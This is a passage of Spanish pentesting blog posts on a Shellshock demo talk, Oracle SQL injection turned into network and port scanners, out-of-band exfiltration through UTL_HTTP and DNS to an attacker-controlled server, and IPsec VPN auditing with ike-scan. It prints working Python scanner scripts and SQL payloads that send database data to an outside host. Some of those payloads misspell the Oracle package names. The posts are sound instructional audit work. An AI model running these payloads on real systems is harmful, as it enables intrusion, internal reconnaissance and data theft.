Demo Shellshock en el ISMS Forum

La semana pasada participé como ponente en el tercer Foro de Ciberseguridad del Spanish Cyber Security Institute, más conocido como ISMS Forum.

En la charla que di presenté un incidente de seguridad en el que estuve trabajando hace un mes para una empresa española que nos pidió colaboración para identificar el problema que habían tenido y recomendaciones a la hora de solucionarlo.

Como me habían pedido que hiciera alguna demostración, pero obviamente no podía dar datos reales, monté un par de entornos vulnerables sobre los que hacer las pruebas.

La primera de las demostraciones que hice fue para mostrar un par de las vulnerabilidad que tenían en la aplicación web que se comprometió. La primera de las vulnerabilidades consistía en la posibilidad de acceder a los datos personales de otros usuarios.

Esta vulnerabilidad es relativamente frecuente en muchas aplicaciones web y web services. Normalmente se debe a que se utiliza un identificador fácilmente predecible para determinar el registro, fichero o recurso en general que se tiene que mostrar. Hay un segundo aspecto que hace que se provoque la vulnerabilidad (además del identificador predecible) y es que no se gestionen correctamente los permisos de cada usuario, ya que la aplicación debería identificar y evitar que un usuario pudiera acceder a recursos que pertenecen a otro usuario.

La segunda vulnerabilidad que se muestra en el primero de los vídeos es una inyección de código SQL muy sencillita de explotar. Lo que iba buscando con esta demostración es demostrar lo fácil que puede llegar a ser explotar este tipo de vulnerabilidades y lo peligroso que resulta en caso de que se esté almacenando información de carácter confidencial en la base de datos (en la demo, se llegaban a mostrar números de tarjetas de crédito, con su CVV y su fecha de caducidad).

La primera demo se puede ver en el siguiente vídeo:

La segunda de las demos que hice fue para mostrar la vulnerabilidad de Shellshock explotada a través de un CGI hospedado en un servidor web.

Aunque esta vulnerabilidad no estaba del todo relacionado con el resto del contenido de mi charla, aproveché que uno de los ponentes anteriores había hablado de la vulnerabilidad largo y tendido pero no había llegado a realizar ninguna demo. Mi intención, por tanto, era hacer ver que algunas de las vulnerabilidades que se leen en Internet sí que son realmente fáciles de explotar sin ningún tipo de recursos especiales.

Ésta es la segunda demo:

Espero que las disfrutéis y podáis utilizarlas si tenéis que presentar este tipo de vulnerabilidades en algún tipo de ambiente.

De una inyección SQL a un escáner de red

Hace poco, haciendo una auditoría web, encontré un parámetro que era vulnerable a SQL injection.

Tras un pequeño análisis, identifiqué que se trataba de un servidor Oracle y que no iba a ser fácil extraer información de la base de datos porque se ve que la inyección debía de estar en la llamada a un procedimiento almacenado.

Algo así como:

procedimiento_almacenado (parámetro_vulnerable);

Oracle, en esta sintaxis, no permite añadir consultas del tipo SELECT, así que realizar las típicas inyecciones para determinar el usuario de la base de datos, el nombre de ésta, qué tablas las forman... no iba a funcionar.

Tras probar muchas cosas, vi que sí que podía utilizar variables SYS_CONTEXT para recuperar variables del sistema relativas a la configuración ya que, aunque no podía hacer un:

SELECT user from DUAL;

Sí que podía (ojo, era una inyección de tipo numérico):

55 - (ASCII (SUBSTR (user,1,1)) - ASCII('U') )

O, del mismo modo:

55 - (ASCII (SUBSTR (SYS_CONTEXT('USERENV', 'CURRENT_USER'), 1, 1)) - ASCII('U') )

Con esto, no tenía acceso a los datos de la base de datos en sí, pero obtuve información principalmente relacionada con el entorno Oracle como usuarios, dirección IP del servidor, tipo de autenticación utilizada...

Ya estaba a punto de desesperarme y decidir que no podía llegar mucho más allá cuando me acordé de los procedimientos almacenados de los que os hablé en la entrada anterior: UTL_HTTP y UTL_INADDR.

Así que pensé: ¿qué pasará si digo de utilizar UTL_HTTP para acceder a otros puertos del servidor para intentar determinar si están o no abiertos? Algo en plan:

• http://10.0.2.51:22
• http://10.0.2.51:80
• http://10.0.2.51:443
• http://10.0.2.51:8080
• http://10.0.2.51:1521
• ...

Imaginad mi sorpresa cuando veo que efectivamente funcionaba. Es más, Oracle era tan bondadoso que me decía claramente si el puerto estaba o no abierto:

• Error cuando el puerto estaba abierto:

java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-29263: HTTP protocol error ORA-06512: at line 1 at [...]

• Error cuando el puerto estaba cerrado:

java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-12541: TNS:no listener ORA-06512: at line 1 at [...]

Creo que la siguiente pregunta que me hice es evidente... ¿Y si escaneo otros hosts de la red? Pues exactamente igual. En este caso, lo que hice fue siempre preguntar por el puerto 22 y observé las respuestas:

• Cuando no existía el host:

java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-12543: TNS:destination host unreachable ORA-06512: at line 1 at [...]

Cuando existía el host en la red, el error que devolvía era alguno de los dos errores asociados a si el puerto estaba o no abierto.

Así que cogí y en un rato me hice mi propio escáner de puertos a través del SQLi que había encontrado. Éste es el resultado que puede servir como prueba de concepto:

Escaneo de red:

import requests

cookies = { "JSESSIONID" : "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" }
headers = { "Content-Type" : "application/x-www-form-urlencoded"}

i = 0

for i in range(254):
 r = requests.post ("http://www.example.com/vulnerable_page", "parametro_vulnerable=55 - (length (utl_http.request('http://10.0.2.%s:22/')) )" % str(i+1), cookies=cookies, headers=headers )

 if not "destination host unreachable" in r.text:
  print "Alive: 10.0.2.%s" % str(i+1)

Este script se ejecutará directamente:

$ python network_scan.py

Escaneo de puertos:

import requests
import sys

cookies = { "JSESSIONID" : "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" }
headers = { "Content-Type" : "application/x-www-form-urlencoded"}

topports = (26, 554, 32768, 8000, 8443, 2000, 1026, 179, 5060, 514, 10000, 6001, 81, 113, 548, 465, 1720, 199, 8888, 587, 1025, 5900, 993, 995, 111, 1723, 8080, 3306, 135, 53, 143, 139, 445, 110, 3389, 25, 22, 21, 443, 23, 80, 37, 119, 9100, 4899, 2717, 1755, 873, 1028, 49157, 5051, 6646, 9, 1029, 13, 1900, 3986, 5432, 3000, 5190, 7070, 5009, 9999, 444, 3128, 8009, 389, 7, 144, 5101, 544, 543, 49156, 427, 5357, 990, 513, 6000, 49155, 1110, 2121, 106, 5800, 79, 88, 2049, 8081, 49153, 631, 5631, 5000, 646, 5666, 1027, 49154, 8008, 515, 2001, 49152, 1433)

i = 0

for i in topports:
 r = requests.post ("http://www.example.com/vulnerable_page", "parametro_vulnerable=55 - (length (utl_http.request('http://%s:%s/')) )" % ( sys.argv[1], str(i)), cookies=cookies, headers=headers )

 if not "no listener" in r.text:
  print "Open port: %s" % str(i)

Este script, recibe la dirección IP a escanear como entrada. Por ejemplo:

$ python port_scan.py 10.0.2.51

Y de este modo conseguí que una vulnerabilidad que no hubiera pasado ni pena ni gloria, se convirtiera en algo interesante. Es más, con más tiempo podría haber intentado acceder a otros de los servicios que encontré abiertos (entre ellos un JBoss en un puerto 8080).

¡Pero señor! ¡Este oráculo no está ciego!

De lo que quiero hablar en esta entrada es algo que puede que sea más que conocido por muchos de vosotros pero que es la base de lo que os quiero contar en otra entrada y que prometo será más interesante. ¡Ojo! Que esto lo es.

Todos sabemos que explotar una inyección de código SQL ciega (blind SQL injection) puede llegar a ser un coñazo. De primeras nos conviene utilizar alguna herramienta para automatizar la explotación, porque a mano puedes sacar un par de valores como el usuario o la base de datos... ¿pero habéis probado alguna vez a sacar registros de una tabla a mano? Obviamente es inviable. Al menos si tienes unos tiempos que cumplir. Es aquí cuando herramientas como sqlmap, sqlibf o tantas otras nos hacen la vida mucho más fácil.

Pero ok. Te paras. Consigues configurar la herramienta para que te pille la inyección que, a menos que te la haya sacado un escáner automático no va a ser trivial. La lanzas. ¿Y ahora qué? Esperar. Y esperar a que haga una media de 7-8 peticiones por carácter de la cadena que estés intentando sacar y eso en el mejor de los casos y que la herramienta esté utilizando una búsqueda dicotómica. Lo que se traduce en unas 100 peticiones de media por cadena básicas como nombre de usuario o base de datos. Ahora, como quieras sacar el banner completo... van a ser en torno a unas 300.

Puestos ya en escena, os quiero contar una técnica para hacer que una inyección "ciega" no sea tan ciega en Oracle. ¿Entiendes ahora el título del post?

UTL_HTTP

UTL_HTTP es un procedimiento almacenado de Oracle que permite realizar conexiones HTTP desde la propia base de datos. Y que, por suerte para nosotros, viene por defecto habilitado en la mayoría de versiones de la base de datos.

Lo único que tenemos que hacer es utilizarlo para que nos mande la información que le pedimos a un servidor web controlado por nosotros.

Os pongo un ejemplo de cómo nos podría mandar el nombre de usuario de la base de datos a nuestro servidor web utilizando tan sólo una petición (frente a las 100 de las que hablaba antes).

Supongamos que el parámetro inyectable es "id", con una inyección de tipo numérico, en la siguiente URL:

http://www.myfakedomain.com/vulnerablepage?id=500

En un caso normal, utilizaríamos payloads como:

• id=500 and substr(USER,1,1) = 'a'
• id=500 and substr(USER,1,1) = 'b'
• id=500 and substr(USER,1,1) = 'c'
• ...
• id=500 and substr(USER,2,1) = 'a'
• id=500 and substr(USER,2,1) = 'b'
• ...

Sin embargo, si usamos el siguiente payload, nos mandará el nombre del usuario al completo a nuestro servidor web:

id=500 and UTP_HTTP.request('http://www.myserver.com/' || USER) is not NULL

Y, consultando los logs del servidor podremos ver una petición de la siguiente forma:

10.0.2.2 - - [16/Feb/2014:20:09:48 +0100] "GET /PROD_USER HTTP/1.1" 404 484 "-" "Mozilla/5.0 ..."

De donde sacamos que el nombre de usuario es "PROD_USER".

Como veis, con una simple petición, es suficiente para que obtengamos la información que necesitamos. Incluso se pueden concatenar varias consultas en la misma petición, ahorrando más tiempo y esfuerzo.

UTL_INADDR

Si el procedimiento UTL_HTTP estuviera deshabilitado o directamente no funcionara por cualquier motivo (como que el servidor de base de datos tenga el acceso web filtrado), existe un segundo procedimiento almacenado que nos puede ser igualmente útil: UTL_INADDR. Este otro procedimiento es equivalente al anterior pero para realizar consultas DNS.

En esta ocasión, por tanto, si controlamos algún dominio, podemos hacer que el servidor Oracle nos haga una petición DNS como la siguiente:

PROD_USER.myserver.com

Para ello, tendremos que utilizar un payload como el siguiente:

id=500 and UTL_INADDR.GET_HOST_ADDRESS(USER || '.myserver.com') is not NULL

Como veis, es igual de útil. Aunque tened en cuenta que el protocolo DNS tiene ciertas restricciones como que los nombres de dominio no pueden contener espacios. Así que si intentamos sacar el banner de la base de datos, es más que posible que no nos llegue completo o directamente no se realice ninguna consulta DNS.

Para ello, siempre se pueden utilizar funciones como "replace":

id=500 and UTP_INADDR.GET_HOST_ADDRESS( (SELECT REPLACE(banner, ' ') FROM v$version WHERE banner LIKE 'Oracle%') ||'.myserver.com') is not NULL

Útil, ¿no? Espero que la próxima vez que tengáis una inyección SQL ciega en un Oracle os acordéis de estas técnicas para ahorraros tiempo y recursos.

Auditando VPNs (V): Modo Agresivo

  ****************************************************
    Auditando VPNs (I): Introducción a IPsec
    Auditando VPNs (II): Enumeración
    Auditando VPNs (III): Fingerprinting
    Auditando VPNs (IV): Cifrado
    Auditando VPNs (V): Modo Agresivo
  ****************************************************

Como ya comenté en la primera entrada de esta serie, el modo agresivo (Aggressive Mode) se suele utilizar en combinación con el mecanismo de autenticación PSK (Pre-Shared Key) y es la alternativa al Main Mode. Según el estándar, el main mode debería estar implementado en todos los concentradores de VPN, mientras que el aggressive mode es opcional.

La principal diferencia entre ambos modos es que el modo agresivo es más simple y requiere menos intercambios de mensajes entre el cliente y el servidor para establecer la conexión. Esta ventaja se traduce en un descenso de la seguridad ofrecida por el modo principal. Veamos por qué:

La siguiente secuencia muestra el intercambio de claves en modo principal (main mode) con PSK:

      Initiator                     Responder
     -----------                   -----------
      HDR, SA             -->
                          <--      HDR, SA
      HDR, KE, Ni         -->
                          <--      HDR, KE, Nr
      HDR*, IDii, HASH_I  -->
                          <--      HDR*, IDir, HASH_R

Los primeros dos mensajes negocian la política (el conjunto de atributos que se van a utilizar, la transformada). Los siguientes dos mensajes se usan para intercambiar los valores públicos para la negociación Diffie-Hellman y otra información secundaria. Los últimos dos valores, que ya van cifrados (los denota el *), autentican el intercambio DH.

La secuencia siguiente muestra la misma negociación pero en modo agresivo (aggressive mode):

      Initiator                     Responder
     -----------                   -----------
    HDR, SA, KE, Ni, IDii -->
                          <-- HDR, SA, KE, Nr, IDir, HASH_R
    HDR, HASH_I           -->

En este caso, los primeros dos mensajes hacen la función de los cuatro primeros mensajes del intercambio en el modo principal, así que sirven para negociar la política, intercambiar los valores públicos DH, la información secundaria y los identificadores mutuos. Además, el segundo mensaje ya autentica al "Responder" (el servidor de VPN). El tercer y último mensaje autentica al "Initiator" y proporciona la "prueba de participación" en el intercambio.

Como se puede observar, en la primera secuencia, los hashes se envían cifrados (recuerda el *), mientras que en la segunda secuencia todo se envía en texto claro. Estos hashes son los que se utilizan para la autenticación ya que consisten (a grandes rasgos) en una función HMAC usando como clave la clave compartida (PSK) y cifrando, entre otras cosas, el token nonce (Ni/Nr).

Por tanto, si se utiliza el modo agresivo, el hash del servidor se puede capturar fácilmente de la red y se puede intentar romper. De conseguirlo, habríamos recuperado la clave compartida (PSK). Después de eso, utilizando algún cliente de VPN como PGPNet podríamos conectarnos sin ningún problema a la red a la que se accede por la VPN.

Como podrás imaginar, el modo agresivo es uno de los aspectos más críticos a la hora de analizar la seguridad de un concentrador de VPN basado en IPsec.

Otra de las diferencias entre ambos modos es que, a diferencia de cómo funciona el modo principal, muchos concentradores de VPN tan sólo responden a una petición de entablar conexión utilizando el modo agresivo si se ha especificado un identificador de grupo válido (el IDii de las peticiones de arriba). Este identificador suele ser un nombre de usuario, un email, una dirección IP...

¿En qué se traduce esto en la práctica para nosotros como auditores? Pues que si no enviamos un ID válido, podríamos no estar detectando que el modo agresivo está activo en un concentrador de VPNs y esto podría complicar la enumeración de dispositivos que soporten dicho modo.

Para especificar que debemos utilizar el modo agresivo cuando tratamos de conectarnos con el ike-scan, se utiliza la opción: --aggressive. Para indicar un ID, se usa la opción --id, aunque si no se especifica nada, ike-scan usa él solito el nombre o la dirección IP del servidor como ID.

Veamos el siguiente ejemplo:

$ sudo ike-scan -M --aggressive 10.48.226.227
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.48.226.227   Aggressive Mode Handshake returned
        HDR=(CKY-R=aa780a03dd39566b)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        VID=5fbfad1edd38566bbd15132b1455935a
        VID=09002689dfd6b712 (XAUTH)
        KeyExchange(128 bytes)
        ID(Type=ID_IPV4_ADDR, Value=10.48.226.227)
        Nonce(20 bytes)
        Hash(20 bytes)

Ending ike-scan 1.9: 1 hosts scanned in 0.235 seconds (4.26 hosts/sec).  1 returned handshake; 0 returned notify

Si te fijas bien en la captura anterior, verás varios campos que no habían salido en las capturas que llevo puestas hasta la fecha:

• ID: como no se especificó nada, ike-scan ha utilizado la dirección IP del servidor (10.48.226.227). 
• Nonce: es el desafío que se utiliza para autenticar a ambos extremos (lo que va firmado con el hash).
• Hash: es el valor que autentica al servidor. 

Como ya se me ha quedado un poco larga esta entrada explicando por qué el modo agresivo es más inseguro que el modo principal, dejaré el cómo romper (o tratar de hacerlo) el hash para la próxima entrada ;)

Auditando VPNs (IV): Cifrado

  ****************************************************
    Auditando VPNs (I): Introducción a IPsec
    Auditando VPNs (II): Enumeración
    Auditando VPNs (III): Fingerprinting
    Auditando VPNs (IV): Cifrado
    Auditando VPNs (V): Modo Agresivo
  ****************************************************

Después del gran parón que he sufrido durante un año, continúo con la auditoría de VPN basadas en IPsec por donde lo dejé. En esta entrega toca hablar de los cifrados soportados por el servidor/concentrador de VPNs.

Cuando un cliente trata de conectarse a un servidor, lo hace utilizando una determinada combinación de parámetros, que se conoce como transformada (transform). Existen un total de 16 atributos que se pueden configurar, aunque los más frecuentes son:

• Algoritmo de Cifrado (1)
• Algoritmo de Hash (2)
• Método de Autenticación (3)
• Grupo Diffie-Hellman (4)

Nota: Observa el número que he puesto entre paréntesis, porque lo vamos a utilizar luego, ya que las transformadas se definen asignando un valor a cada variable que se representa por dicho número.

Otros posibles atributos son: Group Prime/Irreducible Polynomial, Group Generator One and Two, Group Curve A and B, Life Type, Life Duration...

Cada parámetro se puede configurar con una serie de valores predefinidos que depende de la versión del protocolo que se esté utilizando. La versión 2 de IKE, por ejemplo, soporta más algoritmo de cifrado que la versión 1. Por otro lado, no todos los algoritmos tienen por qué estar soportados en el servidor de VPNs.

Las siguientes tablas muestran los valores más frecuentes de los cuatro parámetros principales (consulta la especificación para las tablas completas):

Valor	Algoritmo	Comentario
1	DES	Común
2	IDEA	Muy raro
3	Blowfish	Raro
4	RC5	Muy raro
5	Triple DES	Común
6	CAST	Raro
7	AES	Común
8	Camellia	Muy raro

Algoritmos de cifrado

Valor	Algoritmo	Comentario
1	MD5	Común
2	SHA1	Común
3	Tiger	Raro
4	SHA2-256	Raro
5	SHA2-384	Raro
6	SHA2-512	Raro

Algoritmos de hash

Valor	Algoritmo	Comentario
1	Pre-Shared Key (PSK)	Común
2	DSS Signature	Muy raro
3	RSA Signature	Común
4	RSA Encryption	Muy raro
5	Revised RSA Encryption	Muy raro
64221	Hybrid Mode	Común
65001	XAUTH	Común

Métodos de Autenticación

Valor	Algoritmo	Comentario
1	MODP 768	Común
2	MODP 1024	Común
3	EC2N 155	Muy raro
4	EC2N 185	Muy raro
5	MODP 1536	Raro

Grupos Diffie-Hellman

Una vez visto los valores más comunes, vamos a ver cómo especificar una determinada transformada con ike-scan. Para ello usaremos el parámetro "--trans". Fíjate en los siguientes ejemplos:

--trans=7/256,2,1,2 -> SA=(Enc=AES KeyLength=256 Hash=SHA1 Auth=PSK Group=2:modp1024)

Si no se especifica directamente, el primer atributo será el algoritmo de cifrado, el segundo el de hash y así... En el orden de los números de los que hablaba al principio del post.

--trans="(1=5,2=2,3=3,4=2)" -> SA=(Enc=3DES Hash=SHA1 Auth=RSA_Sig Group=2:modp1024)

--trans="(4=2,3=3,2=2,1=5)" -> SA=(Group=2:modp1024 Auth=RSA_Sig Hash=SHA1 Enc=3DES)

Si queremos tan sólo definir algún parámetro o queremos definir la transformada en el orden que nos parezca bien, entonces asignamos directamente el valor que nos interese a la variable en cuestión indicando su número (1=5 significa que como algoritmo de cifrado (1), elegimos 3DES (valor 5 en la tabla)).

Ahora os estaréis preguntando: ¿y todo esto para qué? Pues la respuesta es sencilla. Del mismo modo que en SSL se suele recomendar no utilizar cifrados que se consideran débiles, en IPsec tampoco es recomendable utilizar ciertos algoritmos. En concreto se desaconsejan los siguientes algoritmos:

• DES como algoritmo de cifrado.
• MD5 como algoritmo de hash.
• MOD768 como grupo Diffie-Hellman.

Y para comprobarlo, me temo que no queda otra que crear muuuuuchas combinaciones para ver si alguna acepta alguno de estos algoritmos. Es decir, DES puede estar siendo aceptado con SHA1 y MOD1024, por ejemplo, pero no con MD5 y MOD768 directamente.

Por otro lado, si recuerdas lo que comentaba en la entrada sobre enumeración, muchas veces somos capaces de identificar el servicio pero no encontramos una transformada que la acepte el servidor.

Así que para realizar varias transformadas de manera cómoda, yo suelo utilizar un script similar al siguiente:

#!/bin/sh
#
# Encryption algorithms: DES, Triple-DES, AES/128, AES/192 and AES/256
ENCLIST="1 5 7/128 7/192 7/256"
# Hash algorithms: MD5 and SHA1
HASHLIST="1 2"
# Authentication methods: Pre-Shared Key, RSA Signatures, Hybrid Mode and XAUTH
AUTHLIST="1 3 64221 65001"
# Diffie-Hellman groups: 1, 2 and 5
GROUPLIST="1 2 5"
#
for ENC in $ENCLIST; do
   for HASH in $HASHLIST; do
      for AUTH in $AUTHLIST; do
         for GROUP in $GROUPLIST; do
            echo >> $2
            echo "Transform: $ENC,$HASH,$AUTH,$GROUP" >> $2
            ike-scan --trans=$ENC,$HASH,$AUTH,$GROUP -M $1 >> $2
         done
      done
   done
done

Lo único que hace este script es probar varias transformadas e ir almacenando todos los resultados en un fichero. Se ejecutaría de la siguiente manera:

# script.sh 10.0.0.2 fichero_resultados.txt

Luego, mirar el fichero a mano puede ser un poco lata, así que basta tirar de grep para sacar los resultados que realmente nos interesan:

$ cat fichero_resultados.txt | grep -B 4 "SA="

Y así tendremos el listado de todas las transformadas aceptadas por el concentrador de VPNs.

¡Ojo! El script está hecho para probar los algoritmos más comunes. Si quisieras probar más o menos basta con que modifiques el valor de las variables ENCLIST, HASHLIST, AUTHLIST y GROUPLIST.